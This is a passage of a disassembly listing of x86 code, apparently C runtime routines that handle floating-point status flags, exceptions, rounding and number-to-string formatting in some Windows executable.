mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_4219C9: ; CODE XREF: sub_42194C+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_42206C
test al, bl
jz short loc_421A52
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_421A52: ; CODE XREF: sub_42194C+FDj
test al, 4
jz short loc_421A5D
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_421A5D: ; CODE XREF: sub_42194C+108j
test al, 8
jz short loc_421A68
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_421A68: ; CODE XREF: sub_42194C+113j
test al, 10h
jz short loc_421A72
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_421A72: ; CODE XREF: sub_42194C+11Ej
test al, 20h
jz short loc_421A7C
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_421A7C: ; CODE XREF: sub_42194C+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_421ABB
cmp eax, 400h
jz short loc_421AAD
cmp eax, 800h
jz short loc_421AA1
cmp eax, ecx
jnz short loc_421AC1
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_421AC1
; ---------------------------------------------------------------------------
loc_421AA1: ; CODE XREF: sub_42194C+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_421AB7
; ---------------------------------------------------------------------------
loc_421AAD: ; CODE XREF: sub_42194C+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_421AB7: ; CODE XREF: sub_42194C+15Fj
mov [eax], ecx
jmp short loc_421AC1
; ---------------------------------------------------------------------------
loc_421ABB: ; CODE XREF: sub_42194C+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_421AC1: ; CODE XREF: sub_42194C+14Bj
; sub_42194C+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_421AEC
cmp eax, 200h
jz short loc_421ADF
cmp eax, ecx
jnz short loc_421AF9
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_421AF9
; ---------------------------------------------------------------------------
loc_421ADF: ; CODE XREF: sub_42194C+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_421AF7
; ---------------------------------------------------------------------------
loc_421AEC: ; CODE XREF: sub_42194C+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_421AF7: ; CODE XREF: sub_42194C+19Ej
mov [eax], ecx
loc_421AF9: ; CODE XREF: sub_42194C+189j
; sub_42194C+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_42207A
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call near ptr 2650343h
nop
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_421B73
and dword ptr [esi], 0FFFFFFFEh
loc_421B73: ; CODE XREF: sub_42194C+222j
test byte ptr [eax+8], 8
jz short loc_421B7C
and dword ptr [esi], 0FFFFFFFBh
loc_421B7C: ; CODE XREF: sub_42194C+22Bj
test byte ptr [eax+8], 4
jz short loc_421B85
and dword ptr [esi], 0FFFFFFF7h
loc_421B85: ; CODE XREF: sub_42194C+234j
test byte ptr [eax+8], 2
jz short loc_421B8E
and dword ptr [esi], 0FFFFFFEFh
loc_421B8E: ; CODE XREF: sub_42194C+23Dj
test [eax+8], bl
jz short loc_421B96
and dword ptr [esi], 0FFFFFFDFh
loc_421B96: ; CODE XREF: sub_42194C+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_421BCA
dec ecx
jz short loc_421BBE
dec ecx
jz short loc_421BB4
dec ecx
jnz short loc_421BCC
or byte ptr [esi+1], 0Ch
jmp short loc_421BCC
; ---------------------------------------------------------------------------
loc_421BB4: ; CODE XREF: sub_42194C+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_421BC6
; ---------------------------------------------------------------------------
loc_421BBE: ; CODE XREF: sub_42194C+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_421BC6: ; CODE XREF: sub_42194C+270j
mov [esi], ecx
jmp short loc_421BCC
; ---------------------------------------------------------------------------
loc_421BCA: ; CODE XREF: sub_42194C+257j
and [esi], edx
loc_421BCC: ; CODE XREF: sub_42194C+260j
; sub_42194C+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_421BEC
dec ecx
jz short loc_421BE3
dec ecx
jnz short loc_421BF5
and [esi], edx
jmp short loc_421BF5
; ---------------------------------------------------------------------------
loc_421BE3: ; CODE XREF: sub_42194C+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_421BF3
; ---------------------------------------------------------------------------
loc_421BEC: ; CODE XREF: sub_42194C+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_421BF3: ; CODE XREF: sub_42194C+29Ej
mov [esi], ecx
loc_421BF5: ; CODE XREF: sub_42194C+291j
; sub_42194C+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42194C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421BFF proc near ; CODE XREF: sub_4218B4+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_421C2A
test byte ptr [ebp+arg_8], bl
jz short loc_421C2A
push ebx
call sub_4220AC
pop ecx
and edi, 0FFFFFFF7h
jmp loc_421DF4
; ---------------------------------------------------------------------------
loc_421C2A: ; CODE XREF: sub_421BFF+15j
; sub_421BFF+1Aj
test al, 4
jz short loc_421C44
test byte ptr [ebp+arg_8], 4
jz short loc_421C44
push 4
call sub_4220AC
pop ecx
and edi, 0FFFFFFFBh
jmp loc_421DF4
; ---------------------------------------------------------------------------
loc_421C44: ; CODE XREF: sub_421BFF+2Dj
; sub_421BFF+33j
test al, bl
jz loc_421D1E
test byte ptr [ebp+arg_8], 8
jz loc_421D1E
push 8
call sub_4220AC
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_421CF6
cmp ecx, 400h
jz short loc_421CCE
cmp ecx, 800h
jz short loc_421CA6
cmp ecx, eax
jnz loc_421D16
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427860
fld dbl_43D3F0
fnstsw ax
sahf
ja short loc_421C9E
fchs
loc_421C9E: ; CODE XREF: sub_421BFF+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421D14
; ---------------------------------------------------------------------------
loc_421CA6: ; CODE XREF: sub_421BFF+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427860
fnstsw ax
sahf
jbe short loc_421CBE
fld dbl_43D3E0
jmp short loc_421CC6
; ---------------------------------------------------------------------------
loc_421CBE: ; CODE XREF: sub_421BFF+B5j
fld dbl_43D3F0
fchs
loc_421CC6: ; CODE XREF: sub_421BFF+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421D14
; ---------------------------------------------------------------------------
loc_421CCE: ; CODE XREF: sub_421BFF+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427860
fnstsw ax
sahf
jbe short loc_421CE6
fld dbl_43D3F0
jmp short loc_421CEE
; ---------------------------------------------------------------------------
loc_421CE6: ; CODE XREF: sub_421BFF+DDj
fld dbl_43D3E0
fchs
loc_421CEE: ; CODE XREF: sub_421BFF+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421D14
; ---------------------------------------------------------------------------
loc_421CF6: ; CODE XREF: sub_421BFF+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427860
fld dbl_43D3E0
fnstsw ax
sahf
ja short loc_421D0E
fchs
loc_421D0E: ; CODE XREF: sub_421BFF+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_421D14: ; CODE XREF: sub_421BFF+A5j
; sub_421BFF+CDj ...
fstp qword ptr [ecx]
loc_421D16: ; CODE XREF: sub_421BFF+81j
and edi, 0FFFFFFFEh
jmp loc_421DF4
; ---------------------------------------------------------------------------
loc_421D1E: ; CODE XREF: sub_421BFF+47j
; sub_421BFF+51j
test al, 2
jz loc_421DF4
test byte ptr [ebp+arg_8], 10h
jz loc_421DF4
push esi
xor esi, esi
test al, 10h
jz short loc_421D39
mov esi, ebx
loc_421D39: ; CODE XREF: sub_421BFF+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_427860
fnstsw ax
sahf
jz loc_421DE2
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_421FAB
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_421D84
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_421DD8
; ---------------------------------------------------------------------------
loc_421D84: ; CODE XREF: sub_421BFF+17Aj
fld [ebp+var_C]
fcomp dbl_427860
fnstsw ax
sahf
jnb short loc_421D96
mov edx, ebx
jmp short loc_421D98
; ---------------------------------------------------------------------------
loc_421D96: ; CODE XREF: sub_421BFF+191j
xor edx, edx
loc_421D98: ; CODE XREF: sub_421BFF+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_421DCC
sub eax, ecx
loc_421DAF: ; CODE XREF: sub_421BFF+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_421DBA
test esi, esi
jnz short loc_421DBA
mov esi, ebx
loc_421DBA: ; CODE XREF: sub_421BFF+1B3j
; sub_421BFF+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_421DC6
or byte ptr [ebp+var_C+3], 80h
loc_421DC6: ; CODE XREF: sub_421BFF+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_421DAF
loc_421DCC: ; CODE XREF: sub_421BFF+1ACj
test edx, edx
jz short loc_421DD8
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_421DD8: ; CODE XREF: sub_421BFF+183j
; sub_421BFF+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_421DE4
; ---------------------------------------------------------------------------
loc_421DE2: ; CODE XREF: sub_421BFF+14Ej
mov esi, ebx
loc_421DE4: ; CODE XREF: sub_421BFF+1E1j
test esi, esi
pop esi
jz short loc_421DF1
push 10h
call sub_4220AC
pop ecx
loc_421DF1: ; CODE XREF: sub_421BFF+1E8j
and edi, 0FFFFFFFDh
loc_421DF4: ; CODE XREF: sub_421BFF+26j
; sub_421BFF+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_421E0B
test byte ptr [ebp+arg_8], 20h
jz short loc_421E0B
push 20h
call sub_4220AC
pop ecx
and edi, 0FFFFFFEFh
loc_421E0B: ; CODE XREF: sub_421BFF+1F9j
; sub_421BFF+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_421BFF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421E16(int,int,int,int,int,int,double,int)
sub_421E16 proc near ; CODE XREF: sub_421861+2Bp
; sub_4218B4+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_421EC4
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_421E81
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_422089
lea eax, [ebp+var_20]
push eax
call sub_42482D
add esp, 0Ch
test eax, eax
jnz short loc_421E7B
push esi
call sub_421E9E
pop ecx
loc_421E7B: ; CODE XREF: sub_421E16+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_421E81: ; CODE XREF: sub_421E16+14j
push 0FFFFh
push [ebp+arg_20]
call sub_422089
push [ebp+arg_0]
call sub_421E9E
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_421E16 endp
; =============== S U B R O U T I N E =======================================
sub_421E9E proc near ; CODE XREF: sub_4218B4+7Dp
; sub_421E16+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_421EB9
jle short locret_421EC3
cmp eax, 3
jg short locret_421EC3
mov dword_4DBDDC, 22h
retn
; ---------------------------------------------------------------------------
loc_421EB9: ; CODE XREF: sub_421E9E+7j
mov dword_4DBDDC, 21h
locret_421EC3: ; CODE XREF: sub_421E9E+9j
; sub_421E9E+Ej
retn
sub_421E9E endp
; =============== S U B R O U T I N E =======================================
sub_421EC4 proc near ; CODE XREF: sub_421E16+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_43D308
loc_421ECB: ; CODE XREF: sub_421EC4+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_421EE1
add eax, 8
inc ecx
cmp eax, offset dbl_43D3E0
jl short loc_421ECB
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_421EE1: ; CODE XREF: sub_421EC4+Dj
mov eax, off_43D30C[ecx*8]
retn
sub_421EC4 endp
; =============== S U B R O U T I N E =======================================
sub_421EE9 proc near ; CODE XREF: sub_4218B4+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_421EF5
push 5
jmp short loc_421F0B
; ---------------------------------------------------------------------------
loc_421EF5: ; CODE XREF: sub_421EE9+6j
test al, 8
jz short loc_421EFD
push 1
jmp short loc_421F0B
; ---------------------------------------------------------------------------
loc_421EFD: ; CODE XREF: sub_421EE9+Ej
test al, 4
jz short loc_421F05
push 2
jmp short loc_421F0B
; ---------------------------------------------------------------------------
loc_421F05: ; CODE XREF: sub_421EE9+16j
test al, 1
jz short loc_421F0D
push 3
loc_421F0B: ; CODE XREF: sub_421EE9+Aj
; sub_421EE9+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_421F0D: ; CODE XREF: sub_421EE9+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_421EE9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421F16(double)
sub_421F16 proc near ; CODE XREF: sub_41D055:loc_41D0DBp
; sub_41D19B:loc_41D221p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_421F16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421F28(double,int)
sub_421F28 proc near ; CODE XREF: sub_421FAB+82p
; sub_421FAB+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_421F28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F51 proc near ; CODE XREF: sub_41D055+31p
; sub_41D19B+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_421F68
cmp [ebp+arg_0], edx
jnz short loc_421F7A
push 1
jmp short loc_421FA4
; ---------------------------------------------------------------------------
loc_421F68: ; CODE XREF: sub_421F51+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_421F7A
cmp [ebp+arg_0], edx
jnz short loc_421F7A
push 2
jmp short loc_421FA4
; ---------------------------------------------------------------------------
loc_421F7A: ; CODE XREF: sub_421F51+11j
; sub_421F51+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_421F8D
push 3
jmp short loc_421FA4
; ---------------------------------------------------------------------------
loc_421F8D: ; CODE XREF: sub_421F51+36j
cmp cx, 7FF0h
jnz short loc_421FA7
test [ebp+arg_4], 7FFFFh
jnz short loc_421FA2
cmp [ebp+arg_0], edx
jz short loc_421FA7
loc_421FA2: ; CODE XREF: sub_421F51+4Aj
push 4
loc_421FA4: ; CODE XREF: sub_421F51+15j
; sub_421F51+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421FA7: ; CODE XREF: sub_421F51+41j
; sub_421F51+4Fj
xor eax, eax
pop ebp
retn
sub_421F51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421FAB(double,int)
sub_421FAB proc near ; CODE XREF: sub_421BFF+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_427860
push esi
fnstsw ax
sahf
jnz short loc_421FCB
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_422061
; ---------------------------------------------------------------------------
loc_421FCB: ; CODE XREF: sub_421FAB+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_42203A
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_421FE3
cmp dword ptr [ebp+arg_0], ecx
jz short loc_42203A
loc_421FE3: ; CODE XREF: sub_421FAB+31j
fld [ebp+arg_0]
fcomp dbl_427860
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_421FFB
push 1
pop eax
jmp short loc_421FFD
; ---------------------------------------------------------------------------
loc_421FFB: ; CODE XREF: sub_421FAB+49j
xor eax, eax
loc_421FFD: ; CODE XREF: sub_421FAB+4Ej
; sub_421FAB+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_422016
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_422010
or dword ptr [ebp+arg_0+4], 1
loc_422010: ; CODE XREF: sub_421FAB+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_421FFD
; ---------------------------------------------------------------------------
loc_422016: ; CODE XREF: sub_421FAB+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_422024
or byte ptr [ebp+arg_0+7], 80h
loc_422024: ; CODE XREF: sub_421FAB+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421F28
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_422061
; ---------------------------------------------------------------------------
loc_42203A: ; CODE XREF: sub_421FAB+28j
; sub_421FAB+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421F28
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_422061: ; CODE XREF: sub_421FAB+1Bj
; sub_421FAB+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_421FAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42206C proc near ; CODE XREF: sub_42194C+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_42206C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42207A proc near ; CODE XREF: sub_42194C+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_42207A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422089 proc near ; CODE XREF: sub_41D055+13p
; sub_41D055+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_422089 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4220AC proc near ; CODE XREF: sub_421BFF+1Dp
; sub_421BFF+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_4220C3
fld tbyte_43D408
fistp [ebp+arg_0]
wait
loc_4220C3: ; CODE XREF: sub_4220AC+Bj
test cl, 8
jz short loc_4220D8
fstsw ax
fld tbyte_43D408
fstp [ebp+var_8]
wait
fstsw ax
loc_4220D8: ; CODE XREF: sub_4220AC+1Aj
test cl, 10h
jz short loc_4220E7
fld tbyte_43D414
fstp [ebp+var_8]
wait
loc_4220E7: ; CODE XREF: sub_4220AC+2Fj
test cl, 4
jz short loc_4220F5
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_4220F5: ; CODE XREF: sub_4220AC+3Ej
test cl, 20h
jz short locret_422100
fldpi
fstp [ebp+var_8]
wait
locret_422100: ; CODE XREF: sub_4220AC+4Cj
leave
retn
sub_4220AC endp
; =============== S U B R O U T I N E =======================================
sub_422102 proc near ; CODE XREF: sub_41D124+Fp
push 30000h
push 10000h
call sub_424865
pop ecx
pop ecx
retn
sub_422102 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422114 proc near ; CODE XREF: sub_422152:loc_422176j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_427870
fstp [ebp+var_8]
fld dbl_427868
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_4276F8
fnstsw ax
sahf
jbe short loc_42214E
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_42214E: ; CODE XREF: sub_422114+33j
xor eax, eax
leave
retn
sub_422114 endp
; =============== S U B R O U T I N E =======================================
sub_422152 proc near ; CODE XREF: sub_41D124+5p
push offset aKernel32 ; "KERNEL32"
nop
call near ptr 2690000h
test eax, eax
jz short loc_422176
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
nop
call near ptr 26B032Eh
test eax, eax
jz short loc_422176
push 0
call eax ; sub_41D124
retn
; ---------------------------------------------------------------------------
loc_422176: ; CODE XREF: sub_422152+Dj
; sub_422152+1Dj
jmp sub_422114
sub_422152 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42217B proc near ; CODE XREF: sub_41FF3F+3CBp
; DATA XREF: sub_41D13C+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_41DFEC
cmp eax, 65h
pop ecx
jz short loc_4221BB
loc_42218F: ; CODE XREF: sub_42217B+3Ej
inc esi
cmp dword_43D084, 1
jle short loc_4221A8
movsx eax, byte ptr [esi]
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4221B7
; ---------------------------------------------------------------------------
loc_4221A8: ; CODE XREF: sub_42217B+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_43CE78
mov al, [ecx+eax*2]
and eax, 4
loc_4221B7: ; CODE XREF: sub_42217B+2Bj
test eax, eax
jnz short loc_42218F
loc_4221BB: ; CODE XREF: sub_42217B+12j
mov cl, byte_43D088
mov al, [esi]
mov [esi], cl
inc esi
loc_4221C6: ; CODE XREF: sub_42217B+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_4221C6
pop esi
retn
sub_42217B endp
; =============== S U B R O U T I N E =======================================
sub_4221D5 proc near ; CODE XREF: sub_41FF3F+3E2p
; DATA XREF: sub_41D13C+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_43D088
mov cl, [eax]
test cl, cl
jz short loc_4221F1
loc_4221E5: ; CODE XREF: sub_4221D5+1Aj
cmp cl, dl
jz short loc_4221F1
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_4221E5
loc_4221F1: ; CODE XREF: sub_4221D5+Ej
; sub_4221D5+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_422222
loc_4221F8: ; CODE XREF: sub_4221D5+34j
mov cl, [eax]
test cl, cl
jz short loc_42220B
cmp cl, 65h
jz short loc_42220B
cmp cl, 45h
jz short loc_42220B
inc eax
jmp short loc_4221F8
; ---------------------------------------------------------------------------
loc_42220B: ; CODE XREF: sub_4221D5+27j
; sub_4221D5+2Cj ...
mov ecx, eax
loc_42220D: ; CODE XREF: sub_4221D5+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_42220D
cmp [eax], dl
jnz short loc_422218
dec eax
loc_422218: ; CODE XREF: sub_4221D5+40j
; sub_4221D5+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_422218
locret_422222: ; CODE XREF: sub_4221D5+21j
retn
sub_4221D5 endp
; =============== S U B R O U T I N E =======================================
sub_422223 proc near ; DATA XREF: sub_41D13C+28o
; ___:off_43D430o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_427860
fnstsw ax
sahf
jb short loc_422238
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_422238: ; CODE XREF: sub_422223+Fj
xor eax, eax
retn
sub_422223 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42223B proc near ; CODE XREF: sub_420DB0+430p
; DATA XREF: sub_41D13C+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_422264
lea eax, [ebp+var_8]
push eax
call sub_424D28
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
